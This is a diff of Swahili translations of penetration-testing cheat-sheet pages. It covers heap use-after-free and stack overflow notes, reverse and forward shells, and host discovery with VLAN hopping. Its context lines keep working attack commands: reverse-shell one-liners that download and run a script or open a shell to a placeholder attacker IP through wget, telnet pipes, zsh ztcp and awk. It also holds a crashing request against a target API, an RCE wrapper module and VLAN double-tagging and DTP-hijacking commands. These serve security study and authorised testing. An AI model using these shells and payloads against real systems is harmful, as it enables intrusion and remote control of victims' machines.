The fragment below (tested on glibc 2.38) shows how the splitter in the unsorted bin can be abused to create 2 **overlapping pointers** – a powerful primitive that converts a single free into a write-after-free.
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@ -114,15 +114,15 @@ A practical application can be found in the 2024 HITCON Quals *Setjmp* challenge
|
||||
|
||||
- [**https://heap-exploitation.dhavalkapil.com/attacks/first_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first_fit)
|
||||
- [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
|
||||
- ARM64. Tumia baada ya kuachiliwa: Tengeneza kitu cha mtumiaji, kiache, tengeneza kitu kinachopata kipande kilichoachiliwa na kuruhusu kuandika ndani yake, **kuandika nafasi ya mtumiaji->nenosiri** kutoka kwa ile ya awali. Tumia tena mtumiaji ili **kupita ukaguzi wa nenosiri**
|
||||
- ARM64. Tumia baada ya kuachia: Tengeneza kitu cha mtumiaji, kiache, tengeneza kitu kinachopata kipande kilichoachwa na ruhusu kuandika ndani yake, **kuandika nafasi ya mtumiaji->nenosiri** kutoka kwa ile ya awali. Tumia tena mtumiaji ili **kupita ukaguzi wa nenosiri**
|
||||
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example)
|
||||
- Programu inaruhusu kuunda noti. Noti itakuwa na taarifa za noti katika malloc(8) (ikiwa na kiashiria kwa kazi inayoweza kuitwa) na kiashiria kwa malloc nyingine (<size>) yenye maudhui ya noti.
|
||||
- Shambulio litakuwa kuunda noti 2 (note0 na note1) zikiwa na maudhui makubwa ya malloc kuliko saizi ya taarifa za noti na kisha kuziachilia ili ziingie kwenye fast bin (au tcache).
|
||||
- Kisha, tengeneza noti nyingine (note2) yenye saizi ya maudhui 8. Maudhui yatakuwa katika note1 kwani kipande kitarejelewa, ambapo tunaweza kubadilisha kiashiria cha kazi kuashiria kazi ya ushindi na kisha Tumia-Baada-ya-Kuachiliwa note1 ili kuita kiashiria kipya cha kazi.
|
||||
- Shambulio litakuwa kuunda noti 2 (note0 na note1) zikiwa na maudhui makubwa ya malloc kuliko saizi ya taarifa za noti na kisha kuziachia ili ziingie kwenye fast bin (au tcache).
|
||||
- Kisha, tengeneza noti nyingine (note2) yenye saizi ya maudhui 8. Maudhui yatakuwa katika note1 kwani kipande kitarejelewa, ambapo tunaweza kubadilisha kiashiria cha kazi kuashiria kazi ya ushindi na kisha Tumia-Baada-ya-Kuachia note1 ili kuita kiashiria kipya cha kazi.
|
||||
- [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html)
|
||||
- Inawezekana kualloc baadhi ya kumbukumbu, kuandika thamani inayotakiwa, kuachilia, kuirejesha na kwa kuwa data ya awali bado ipo, itachukuliwa kulingana na muundo mpya unaotarajiwa katika kipande, hivyo kufanya iwezekane kuweka thamani ili kupata bendera.
|
||||
- Inawezekana kualloc baadhi ya kumbukumbu, kuandika thamani inayotakiwa, kuachia, kuirejesha na kwa kuwa data ya awali bado ipo, itachukuliwa kulingana na muundo mpya unaotarajiwa katika kipande, hivyo kufanya iwezekane kuweka thamani ili kupata bendera.
|
||||
- [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html)
|
||||
- Katika kesi hii inahitajika kuandika 4 ndani ya kipande maalum ambacho ni cha kwanza kualloc (hata baada ya kuachilia kwa nguvu yote). Kila kipande kipya kilichoalloc kina nambari yake katika orodha ya index. Kisha, alloc kipande 4 (+ kile kilichokuwa kimealloc awali), cha mwisho kitakuwa na 4 ndani yake, kiache na kulazimisha kualloc tena cha kwanza, ambacho kitatumia kipande cha mwisho kilichoachiliwa ambacho ni kile chenye 4 ndani yake.
|
||||
- Katika kesi hii inahitajika kuandika 4 ndani ya kipande maalum ambacho ni cha kwanza kupewa (hata baada ya kuachia kwa nguvu yote). Kila kipande kipya kilichopewa nambari yake katika orodha ya index inahifadhiwa. Kisha, alloc vipande 4 (+ ile iliyotolewa awali), ya mwisho itakuwa na 4 ndani yake, acha ziwe huru na kulazimisha urejeleaji wa cha kwanza, ambacho kitatumia kipande cha mwisho kilichopewa huru ambacho ni kile chenye 4 ndani yake.
|
||||
- 2024 HITCON Quals Setjmp write-up (Quarkslab) – shambulio la vitendo la first-fit / unsorted-split overlap: <https://ctftime.org/writeup/39355>
|
||||
- Angstrom CTF 2024 *heapify* write-up – kutumia kugawanya unsorted-bin ili kuvuja libc na kupata overlap: <https://hackmd.io/@aneii11/H1S2snV40>
|
||||
|
||||
|
@ -10,7 +10,7 @@ Tatizo kuu la kuandika tena ni kwamba **pointer ya maagizo iliyohifadhiwa (EIP/R
|
||||
|
||||
Udhaifu huu kawaida hutokea kwa sababu kazi **inakopi ndani ya stack bytes zaidi kuliko kiasi kilichotengwa kwa ajili yake**, hivyo kuwa na uwezo wa kuandika tena sehemu nyingine za stack.
|
||||
|
||||
Baadhi ya kazi za kawaida zinazoweza kuwa na udhaifu huu ni: **`strcpy`, `strcat`, `sprintf`, `gets`**... Pia, kazi kama **`fgets`**, **`read` & `memcpy`** ambazo zinachukua **kiwango cha urefu**, zinaweza kutumika kwa njia yenye udhaifu ikiwa urefu ulioelezwa ni mkubwa kuliko ule uliotengwa.
|
||||
Baadhi ya kazi za kawaida zinazoweza kuwa na udhaifu huu ni: **`strcpy`, `strcat`, `sprintf`, `gets`**... Pia, kazi kama **`fgets`**, **`read` & `memcpy`** ambazo zinachukua **kiwango cha urefu**, zinaweza kutumika kwa njia yenye udhaifu ikiwa urefu ulioainishwa ni mkubwa kuliko ule uliotengwa.
|
||||
|
||||
Kwa mfano, kazi zifuatazo zinaweza kuwa na udhaifu:
|
||||
```c
|
||||
@ -21,13 +21,13 @@ gets(buffer); // This is where the vulnerability lies
|
||||
printf("You entered: %s\n", buffer);
|
||||
}
|
||||
```
|
||||
### Kupata Mipangilio ya Stack Overflows
|
||||
### Kutafuta ofseti za Stack Overflows
|
||||
|
||||
Njia ya kawaida zaidi ya kupata stack overflows ni kutoa ingizo kubwa sana la `A`s (kwa mfano, `python3 -c 'print("A"*1000)'`) na kutarajia `Segmentation Fault` ikionyesha kwamba **anwani `0x41414141` ilijaribu kufikiwa**.
|
||||
Njia ya kawaida zaidi ya kutafuta stack overflows ni kutoa ingizo kubwa sana la `A`s (kwa mfano, `python3 -c 'print("A"*1000)'`) na kutarajia `Segmentation Fault` ikionyesha kwamba **anwani `0x41414141` ilijaribu kufikiwa**.
|
||||
|
||||
Zaidi ya hayo, mara tu unapogundua kwamba kuna udhaifu wa Stack Overflow utahitaji kupata mipangilio hadi iwezekane **kufuta anwani ya kurudi**, kwa hili mara nyingi hutumiwa **De Bruijn sequence.** Ambayo kwa alfabeti iliyotolewa ya ukubwa _k_ na subsequences za urefu _n_ ni **mfululizo wa mzunguko ambapo kila subsequence inayowezekana ya urefu _n_ inaonekana mara moja tu** kama subsequence iliyo karibu.
|
||||
Zaidi ya hayo, mara tu unapogundua kwamba kuna udhaifu wa Stack Overflow utahitaji kutafuta ofseti hadi iwezekane **kufuta anwani ya kurudi**, kwa hili mara nyingi hutumiwa **De Bruijn sequence.** Ambayo kwa alfabeti iliyotolewa ya ukubwa _k_ na subsequences za urefu _n_ ni **mfuatano wa mzunguko ambapo kila subsequence inayowezekana ya urefu _n_ inaonekana mara moja tu** kama subsequence iliyo karibu.
|
||||
|
||||
Kwa njia hii, badala ya kuhitaji kubaini ni mipangilio gani inahitajika kudhibiti EIP kwa mkono, inawezekana kutumia kama padding moja ya hizi sequences na kisha kupata mipangilio ya bytes ambazo zilimaliza kufuta hiyo.
|
||||
Kwa njia hii, badala ya kuhitaji kubaini ni ofseti ipi inahitajika kudhibiti EIP kwa mkono, inawezekana kutumia kama padding moja ya hizi sequences na kisha kutafuta ofseti ya bytes ambazo zilimaliza kufuta hiyo.
|
||||
|
||||
Inawezekana kutumia **pwntools** kwa hili:
|
||||
```python
|
||||
@ -50,8 +50,8 @@ pattern search $rsp #Search the offset given the content of $rsp
|
||||
```
|
||||
## Kutumia Stack Overflows
|
||||
|
||||
Wakati wa overflow (ikiwa saizi ya overflow ni kubwa vya kutosha) utaweza **kuandika upya** thamani za mabadiliko ya ndani ndani ya stack hadi kufikia **EBP/RBP na EIP/RIP (au hata zaidi)**.\
|
||||
Njia ya kawaida zaidi ya kutumia aina hii ya udhaifu ni kwa **kubadilisha anwani ya kurudi** ili wakati kazi inamalizika **mchakato wa udhibiti utaelekezwa popote mtumiaji alivyobaini** katika kiashiria hiki.
|
||||
Wakati wa overflow (ikiwa saizi ya overflow ni kubwa vya kutosha) utaweza **kuandika upya** thamani za mabadiliko ya ndani ya stack hadi kufikia **EBP/RBP na EIP/RIP (au hata zaidi)**.\
|
||||
Njia ya kawaida zaidi ya kutumia aina hii ya udhaifu ni kwa **kubadilisha anwani ya kurudi** ili wakati kazi inamalizika **mchakato wa udhibiti utaelekezwa popote mtumiaji alivyobainisha** katika kiashiria hiki.
|
||||
|
||||
Hata hivyo, katika hali nyingine labda tu **kuandika upya baadhi ya thamani za mabadiliko katika stack** inaweza kuwa ya kutosha kwa matumizi (kama katika changamoto rahisi za CTF).
|
||||
|
||||
@ -116,7 +116,7 @@ warnings.filterwarnings('ignore')
|
||||
url = "https://TARGET/__api__/v1/" + "A"*3000
|
||||
requests.get(url, verify=False)
|
||||
```
|
||||
Ingawa stack canaries zinaweza kusitisha mchakato, mshambuliaji bado anapata **Denial-of-Service** primitive (na, kwa uvujaji wa habari za ziada, huenda akapata utekelezaji wa msimbo). Somo ni rahisi:
|
||||
Hata ingawa stack canaries zinafunga mchakato, mshambuliaji bado anapata **Denial-of-Service** primitive (na, kwa uvujaji wa habari za ziada, labda utekelezaji wa msimbo). Somo ni rahisi:
|
||||
|
||||
* Daima toa **upana wa uwanja wa juu** (kwa mfano, `%511s`).
|
||||
* Prefer njia salama kama `snprintf`/`strncpy_s`.
|
||||
|
@ -47,11 +47,11 @@ wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.s
|
||||
```
|
||||
## Forward Shell
|
||||
|
||||
Wakati wa kushughulikia **Remote Code Execution (RCE)** udhaifu ndani ya programu ya wavuti inayotumia Linux, kupata reverse shell kunaweza kuzuia na ulinzi wa mtandao kama sheria za iptables au mifumo ya kuchuja pakiti ngumu. Katika mazingira kama haya, njia mbadala ni kuanzisha PTY (Pseudo Terminal) shell ili kuingiliana na mfumo ulioathirika kwa ufanisi zaidi.
|
||||
Wakati wa kushughulikia **Remote Code Execution (RCE)** udhaifu ndani ya programu ya wavuti inayotumia Linux, kupata reverse shell kunaweza kuzuia na ulinzi wa mtandao kama sheria za iptables au mifumo ya kuchuja pakiti ngumu. Katika mazingira kama haya, njia mbadala inahusisha kuanzisha PTY (Pseudo Terminal) shell ili kuingiliana na mfumo ulioathirika kwa ufanisi zaidi.
|
||||
|
||||
Zana inayopendekezwa kwa kusudi hili ni [toboggan](https://github.com/n3rada/toboggan.git), ambayo inarahisisha mwingiliano na mazingira ya lengo.
|
||||
|
||||
Ili kutumia toboggan kwa ufanisi, tengeneza moduli ya Python iliyoundwa kwa muktadha wa RCE wa mfumo wako wa lengo. Kwa mfano, moduli inayoitwa `nix.py` inaweza kuandaliwa kama ifuatavyo:
|
||||
Ili kutumia toboggan kwa ufanisi, tengeneza moduli ya Python iliyoundwa kwa muktadha wa RCE wa mfumo wako wa lengo. Kwa mfano, moduli inayoitwa `nix.py` inaweza kuundwa kama ifuatavyo:
|
||||
```python3
|
||||
import jwt
|
||||
import httpx
|
||||
@ -81,7 +81,7 @@ toboggan -m nix.py -i
|
||||
```
|
||||
Ili kutumia moja kwa moja shell ya mwingiliano. Unaweza kuongeza `-b` kwa ajili ya uunganisho wa Burpsuite na kuondoa `-i` kwa wrapper ya rce ya msingi zaidi.
|
||||
|
||||
Mwingine uwezekano ni kutumia utekelezaji wa shell ya mbele ya `IppSec` [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).
|
||||
Uwezekano mwingine ni kutumia utekelezaji wa shell ya mbele wa `IppSec` [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).
|
||||
|
||||
Unahitaji tu kubadilisha:
|
||||
|
||||
@ -89,7 +89,7 @@ Unahitaji tu kubadilisha:
|
||||
- Kichwa na kiambatisho cha payload yako (ikiwa ipo)
|
||||
- Njia ambayo payload inatumwa (headers? data? taarifa za ziada?)
|
||||
|
||||
Kisha, unaweza tu **kutuma amri** au hata **kutumia amri ya `upgrade`** kupata PTY kamili (kumbuka kwamba mabomba yanapozungumziwa na kuandikwa kwa kuchelewesha takriban 1.3s).
|
||||
Kisha, unaweza tu **kutuma amri** au hata **kutumia amri ya `upgrade`** kupata PTY kamili (kumbuka kwamba mabomba yanapojengwa na kuandikwa kwa kuchelewesha takriban 1.3s).
|
||||
|
||||
## Netcat
|
||||
```bash
|
||||
@ -118,7 +118,7 @@ rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-I
|
||||
```bash
|
||||
while true; do nc -l <port>; done
|
||||
```
|
||||
Ili kutuma amri, andika chini, bonyeza enter na bonyeza CTRL+D (kuacha STDIN)
|
||||
Ili kutuma amri, iandike, bonyeza enter na bonyeza CTRL+D (kuacha STDIN)
|
||||
|
||||
**Mtu aliyeathirika**
|
||||
```bash
|
||||
@ -219,7 +219,7 @@ or
|
||||
|
||||
https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
|
||||
```
|
||||
## Zsh (built-in TCP)
|
||||
## Zsh (imejumuishwa TCP)
|
||||
```bash
|
||||
# Requires no external binaries; leverages zsh/net/tcp module
|
||||
zsh -c 'zmodload zsh/net/tcp; ztcp <ATTACKER-IP> <PORT>; zsh -i <&$REPLY >&$REPLY 2>&$REPLY'
|
||||
@ -243,7 +243,7 @@ Features:
|
||||
|
||||
## revsh (encrypted & pivot-ready)
|
||||
|
||||
`revsh` ni mteja/server mdogo wa C unaotoa TTY kamili kupitia **tunnel ya Diffie-Hellman iliyosimbwa** na inaweza kuambatanisha **TUN/TAP** interface kwa ajili ya pivoting kama VPN ya kurudi.
|
||||
`revsh` ni mteja/server mdogo wa C unaetoa TTY kamili kupitia **tunnel ya Diffie-Hellman iliyosimbwa** na inaweza kuambatanisha **TUN/TAP** interface kwa ajili ya pivoting kama VPN ya kurudi.
|
||||
```bash
|
||||
# Build (or grab a pre-compiled binary from the releases page)
|
||||
git clone https://github.com/emptymonkey/revsh && cd revsh && make
|
||||
@ -301,7 +301,7 @@ awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s;
|
||||
```bash
|
||||
while true; do nc -l 79; done
|
||||
```
|
||||
Ili kutuma amri, iandike, bonyeza enter na bonyeza CTRL+D (kuacha STDIN)
|
||||
Ili kutuma amri, andika chini, bonyeza enter na bonyeza CTRL+D (kuacha STDIN)
|
||||
|
||||
**Mtu aliyeathirika**
|
||||
```bash
|
||||
@ -338,7 +338,7 @@ Hii itajaribu kuungana na mfumo wako kwenye bandari 6001:
|
||||
```bash
|
||||
xterm -display 10.0.0.1:1
|
||||
```
|
||||
Ili kukamata shell ya nyuma unaweza kutumia (ambayo itasikiliza kwenye bandari 6001):
|
||||
Ili kukamata reverse shell unaweza kutumia (ambayo itasikiliza kwenye bandari 6001):
|
||||
```bash
|
||||
# Authorize host
|
||||
xhost +targetip
|
||||
|
@ -13,7 +13,7 @@ Katika hali hii una **mipango ya IPs** (labda hata **mifumo kadhaa**) na unahita
|
||||
|
||||
Hii ndiyo njia **rahisi** na **haraka** ya kugundua kama mwenyeji yupo au la.\
|
||||
Unaweza kujaribu kutuma baadhi ya **ICMP** pakiti na **kusubiri majibu**. Njia rahisi ni kutuma tu **ombio la echo** na kusubiri majibu. Unaweza kufanya hivyo kwa kutumia `ping` rahisi au kutumia `fping` kwa **mifumo**.\
|
||||
Unaweza pia kutumia **nmap** kutuma aina nyingine za pakiti za ICMP (hii itakuepusha na filters za ombi la kawaida la echo la ICMP).
|
||||
Unaweza pia kutumia **nmap** kutuma aina nyingine za pakiti za ICMP (hii itakuepusha na filters za ombi la kawaida la ICMP echo).
|
||||
```bash
|
||||
ping -c 1 199.66.11.4 # 1 echo request to a host
|
||||
fping -g 199.66.11.0/24 # Send echo requests to ranges
|
||||
@ -21,7 +21,7 @@ nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet
|
||||
```
|
||||
### TCP Port Discovery
|
||||
|
||||
Ni kawaida sana kukuta kwamba aina zote za pakiti za ICMP zinachujwa. Hivyo, unachoweza kufanya ili kuangalia kama mwenyeji yuko hewani ni **kujaribu kupata bandari zilizo wazi**. Kila mwenyeji ana **bandari 65535**, hivyo, ikiwa una "wigo mkubwa" huwezi **kujaribu** kama **kila bandari** ya kila mwenyeji iko wazi au la, hiyo itachukua muda mwingi.\
|
||||
Ni kawaida sana kukuta kwamba aina zote za pakiti za ICMP zinachujwa. Hivyo, unachoweza kufanya ili kuangalia kama mwenyeji yuko hewani ni **kujaribu kupata bandari zilizo wazi**. Kila mwenyeji ana **65535 bandari**, hivyo, ikiwa una "wigo mkubwa" huwezi **kujaribu** kama **kila bandari** ya kila mwenyeji iko wazi au la, hiyo itachukua muda mwingi.\
|
||||
Hivyo, unachohitaji ni **scanner ya bandari ya haraka** ([masscan](https://github.com/robertdavidgraham/masscan)) na orodha ya **bandari zinazotumika zaidi:**
|
||||
```bash
|
||||
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
|
||||
@ -60,7 +60,7 @@ Hapa unaweza kupata mwongozo mzuri wa mashambulizi yote maarufu ya Wifi wakati w
|
||||
|
||||
## Kugundua mwenyeji kutoka ndani
|
||||
|
||||
Ikiwa uko ndani ya mtandao, moja ya mambo ya kwanza unayotaka kufanya ni **kugundua wenyeji wengine**. Kulingana na **kiasi cha kelele** unachoweza/unataka kufanya, hatua tofauti zinaweza kuchukuliwa:
|
||||
Ikiwa uko ndani ya mtandao, moja ya mambo ya kwanza unayotaka kufanya ni **kugundua wenyeji wengine**. Kulingana na **kiasi cha kelele** unachoweza/unachotaka kufanya, hatua tofauti zinaweza kuchukuliwa:
|
||||
|
||||
### Passive
|
||||
|
||||
@ -101,15 +101,15 @@ alive6 <IFACE> # Send a pingv6 to multicast.
|
||||
Kumbuka kwamba mbinu zilizozungumziwa katika _Discovering hosts from the outside_ ([_**ICMP**_](#icmp)) zinaweza pia **kutumika hapa**.\
|
||||
Lakini, kwa kuwa uko katika **mtandao mmoja** na wenyeji wengine, unaweza kufanya **mambo zaidi**:
|
||||
|
||||
- Ikiwa unafanya **ping** kwa **anwani ya subnet broadcast**, ping inapaswa kufika kwa **kila mwenyeji** na wanaweza **kujibu** **kwako**: `ping -b 10.10.5.255`
|
||||
- Kufanya ping kwa **anwani ya mtandao broadcast** unaweza hata kupata wenyeji ndani ya **subnets nyingine**: `ping -b 255.255.255.255`
|
||||
- Tumia lippu `-PE`, `-PP`, `-PM` za `nmap` kufanya ugunduzi wa wenyeji kwa kutuma kwa mtiririko **ICMPv4 echo**, **timestamp**, na **maombi ya subnet mask:** `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
|
||||
- Ikiwa unafanya **ping** kwa **anwani ya matangazo ya subnet**, ping inapaswa kufika kwa **kila mwenyeji** na wanaweza **kujibu** **wewe**: `ping -b 10.10.5.255`
|
||||
- Kufanya ping kwa **anwani ya matangazo ya mtandao** unaweza hata kupata wenyeji ndani ya **subnets nyingine**: `ping -b 255.255.255.255`
|
||||
- Tumia lippu `-PE`, `-PP`, `-PM` za `nmap` kufanya ugunduzi wa wenyeji kwa kutuma kwa mtiririko wa **ICMPv4 echo**, **timestamp**, na **maombi ya subnet mask:** `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
|
||||
|
||||
### **Wake On Lan**
|
||||
|
||||
Wake On Lan inatumika ku **washa** kompyuta kupitia **ujumbe wa mtandao**. Pakiti ya kichawi inayotumika kuwasha kompyuta ni pakiti tu ambapo **MAC Dst** inatolewa na kisha inarudiwa **mara 16** ndani ya pakiti hiyo hiyo.\
|
||||
Wake On Lan inatumika ku **washa** kompyuta kupitia ujumbe wa **mtandao**. Pakiti ya kichawi inayotumika kuwasha kompyuta ni pakiti tu ambapo **MAC Dst** inatolewa na kisha inarudiwa **mara 16** ndani ya pakiti hiyo hiyo.\
|
||||
Kisha aina hii ya pakiti kawaida hutumwa katika **ethernet 0x0842** au katika **pakiti ya UDP kwa bandari 9**.\
|
||||
Ikiwa **hakuna \[MAC]** iliyotolewa, pakiti inatumwa kwa **broadcast ethernet** (na MAC ya broadcast itakuwa ile inayorudiwa).
|
||||
Ikiwa **hakuna \[MAC]** iliyotolewa, pakiti inatumwa kwa **broadcast ethernet** (na MAC ya matangazo itakuwa ile inayorudiwa).
|
||||
```bash
|
||||
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
|
||||
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
|
||||
@ -117,14 +117,14 @@ wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
|
||||
```
|
||||
## Skanningi Hosts
|
||||
|
||||
Mara tu umepata IP zote (za nje au za ndani) unazotaka kuskania kwa undani, hatua tofauti zinaweza kufanywa.
|
||||
Mara tu unapogundua IP zote (za nje au za ndani) unazotaka kuskania kwa undani, hatua tofauti zinaweza kufanywa.
|
||||
|
||||
### TCP
|
||||
|
||||
- **Port Iliyofunguliwa**: _SYN --> SYN/ACK --> RST_
|
||||
- **Port Iliyofungwa**: _SYN --> RST/ACK_
|
||||
- **Port Iliyofichwa**: _SYN --> \[HAUNA JIBU]_
|
||||
- **Port Iliyofichwa**: _SYN --> ujumbe wa ICMP_
|
||||
- **Port** iliyo **funguliwa**: _SYN --> SYN/ACK --> RST_
|
||||
- **Port** iliyo **fungwa**: _SYN --> RST/ACK_
|
||||
- **Port** iliyo **chujwa**: _SYN --> \[NO RESPONSE]_
|
||||
- **Port** iliyo **chujwa**: _SYN --> ujumbe wa ICMP_
|
||||
```bash
|
||||
# Nmap fast scan for the most 1000tcp ports used
|
||||
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
|
||||
@ -159,7 +159,7 @@ nmap -sU -sV --version-intensity 0 -n -T4 <IP>
|
||||
|
||||
**SCTP (Stream Control Transmission Protocol)** imeundwa kutumika pamoja na **TCP (Transmission Control Protocol)** na **UDP (User Datagram Protocol)**. Kusudi lake kuu ni kuwezesha usafirishaji wa data za simu kupitia mitandao ya IP, ikionyesha sifa nyingi za kuaminika zinazopatikana katika **Signaling System 7 (SS7)**. **SCTP** ni sehemu muhimu ya familia ya protokali ya **SIGTRAN**, ambayo inalenga kusafirisha ishara za SS7 kupitia mitandao ya IP.
|
||||
|
||||
Msaada wa **SCTP** unapatikana kutoka kwa mifumo mbalimbali ya uendeshaji, kama vile **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS**, na **VxWorks**, ikionyesha kukubalika kwake pana na matumizi katika uwanja wa mawasiliano na mitandao.
|
||||
Msaada kwa **SCTP** unapatikana kutoka kwa mifumo mbalimbali ya uendeshaji, kama vile **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS**, na **VxWorks**, ikionyesha kukubalika kwake pana na matumizi katika uwanja wa mawasiliano na mitandao.
|
||||
|
||||
Nmap inatoa scans mbili tofauti za SCTP: _-sY_ na _-sZ_
|
||||
```bash
|
||||
@ -256,9 +256,9 @@ Katika swichi za kisasa, udhaifu huu umerekebishwa.
|
||||
|
||||
#### Dynamic Trunking
|
||||
|
||||
**Dynamic Trunking Protocol (DTP)** imeundwa kama itifaki ya tabaka la kiungo ili kuwezesha mfumo wa kiotomatiki wa trunking, ikiruhusu swichi kuchagua port kwa njia ya trunk (Trunk) au njia isiyo ya trunk kiotomatiki. Utekelezaji wa **DTP** mara nyingi huonekana kama ishara ya muundo wa mtandao usio bora, ikisisitiza umuhimu wa kuweka trunks kwa mikono tu pale inahitajika na kuhakikisha kuwa kuna nyaraka sahihi.
|
||||
**Dynamic Trunking Protocol (DTP)** imeundwa kama itifaki ya tabaka la kiungo ili kuwezesha mfumo wa kiotomatiki wa trunking, ikiruhusu swichi kuchagua port kwa njia ya trunk (Trunk) au njia isiyo ya trunk kiotomatiki. Utekelezaji wa **DTP** mara nyingi huonekana kama ishara ya muundo wa mtandao usio bora, ikisisitiza umuhimu wa kuweka trunks kwa mikono tu pale inapotakiwa na kuhakikisha kuwa kuna nyaraka sahihi.
|
||||
|
||||
Kwa kawaida, port za swichi zimewekwa kufanya kazi katika hali ya Dynamic Auto, ikimaanisha ziko tayari kuanzisha trunking ikiwa itasababishwa na swichi jirani. Wasiwasi wa usalama unatokea wakati pentester au mshambuliaji anapounganisha na swichi na kutuma fremu ya DTP Desirable, ikilazimisha port kuingia katika hali ya trunk. Kitendo hiki kinamwezesha mshambuliaji kuhesabu VLANs kupitia uchambuzi wa fremu za STP na kupita segmentation ya VLAN kwa kuanzisha interfaces za virtual.
|
||||
Kwa kawaida, port za swichi zimewekwa kufanya kazi katika hali ya Dynamic Auto, ikimaanisha ziko tayari kuanzisha trunking ikiwa itasababishwa na swichi jirani. Wasiwasi wa usalama unatokea wakati pentester au mshambuliaji anapounganisha na swichi na kutuma fremu ya DTP Desirable, ikilazimisha port kuingia katika hali ya trunk. Kitendo hiki kinamwezesha mshambuliaji kuhesabu VLANs kupitia uchambuzi wa fremu za STP na kupita sehemu za VLAN kwa kuanzisha interfaces za virtual.
|
||||
|
||||
Uwepo wa DTP katika swichi nyingi kwa kawaida unaweza kutumika na maadui kuiga tabia ya swichi, hivyo kupata ufikiaji wa trafiki katika VLAN zote. Skripti [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) inatumika kufuatilia interface, ikifunua ikiwa swichi iko katika hali ya Default, Trunk, Dynamic, Auto, au Access—hali ya mwisho ikiwa ndio pekee iliyohakikishiwa dhidi ya shambulio la VLAN hopping. Chombo hiki kinakadiria hali ya udhaifu wa swichi.
|
||||
|
||||
@ -275,7 +275,7 @@ yersinia -G #For graphic mode
|
||||
```
|
||||
.png>)
|
||||
|
||||
Ili kuhesabu VLANs, pia inawezekana kuzalisha fremu ya DTP Desirable kwa kutumia script [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. Usikatishe script hiyo kwa hali yoyote. Inachoma DTP Desirable kila sekunde tatu. **Makanali ya trunk yaliyoundwa kwa njia ya kidinamikia kwenye swichi yanaishi kwa dakika tano tu. Baada ya dakika tano, trunk inanguka.**
|
||||
Ili kuhesabu VLANs, pia inawezekana kuzalisha fremu ya DTP Desirable kwa kutumia script [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. Usikatishe script hiyo kwa hali yoyote. Inachoma DTP Desirable kila sekunde tatu. **Makanali ya trunk iliyoundwa kwa njia ya kidinamikia kwenye swichi inaishi kwa dakika tano tu. Baada ya dakika tano, trunk inanguka.**
|
||||
```
|
||||
sudo python3 DTPHijacking.py --interface eth0
|
||||
```
|
||||
@ -287,7 +287,7 @@ Kwa kuchambua fremu za STP, **tunajifunza kuhusu uwepo wa VLAN 30 na VLAN 60.**
|
||||
|
||||
#### Kushambulia VLAN maalum
|
||||
|
||||
Mara tu unavyojua IDs za VLAN na thamani za IP, unaweza **kuunda kiunganishi cha virtual kushambulia VLAN maalum**.\
|
||||
Mara tu unavyojua IDs za VLAN na thamani za IP, unaweza **kuunda kiunganishi cha virtual ili kushambulia VLAN maalum**.\
|
||||
Ikiwa DHCP haipatikani, basi tumia _ifconfig_ kuweka anwani ya IP ya kudumu.
|
||||
```
|
||||
root@kali:~# modprobe 8021q
|
||||
@ -323,7 +323,7 @@ sudo dhclient -v eth0.30
|
||||
```
|
||||
#### Automatic VLAN Hopper
|
||||
|
||||
Shambulio lililozungumziwa la **Dynamic Trunking na kuunda interfaces za virtual na kugundua wenyeji ndani** ya VLAN nyingine linafanywa **kiotomatiki** na chombo: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)
|
||||
Shambulio lililozungumziwa la **Dynamic Trunking na kuunda interfaces za virtual na kugundua mwenyeji ndani** ya VLAN nyingine linafanywa **kiotomatiki** na chombo: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)
|
||||
|
||||
#### Double Tagging
|
||||
|
||||
@ -342,7 +342,7 @@ sendp(packet)
|
||||
```
|
||||
#### Lateral VLAN Segmentation Bypass <a href="#d679" id="d679"></a>
|
||||
|
||||
Ikiwa una **ufikiaji wa swichi ambayo umeunganishwa moja kwa moja**, una uwezo wa **kuzidi segmentation ya VLAN** ndani ya mtandao. Rahisi tu **badilisha bandari kuwa katika hali ya trunk** (inayojulikana pia kama trunk), tengeneza interfaces za virtual zenye IDs za VLAN zinazolengwa, na uweke anwani ya IP. Unaweza kujaribu kuomba anwani hiyo kwa njia ya kidinamik (DHCP) au unaweza kuiseti kwa njia ya statiki. Inategemea hali.
|
||||
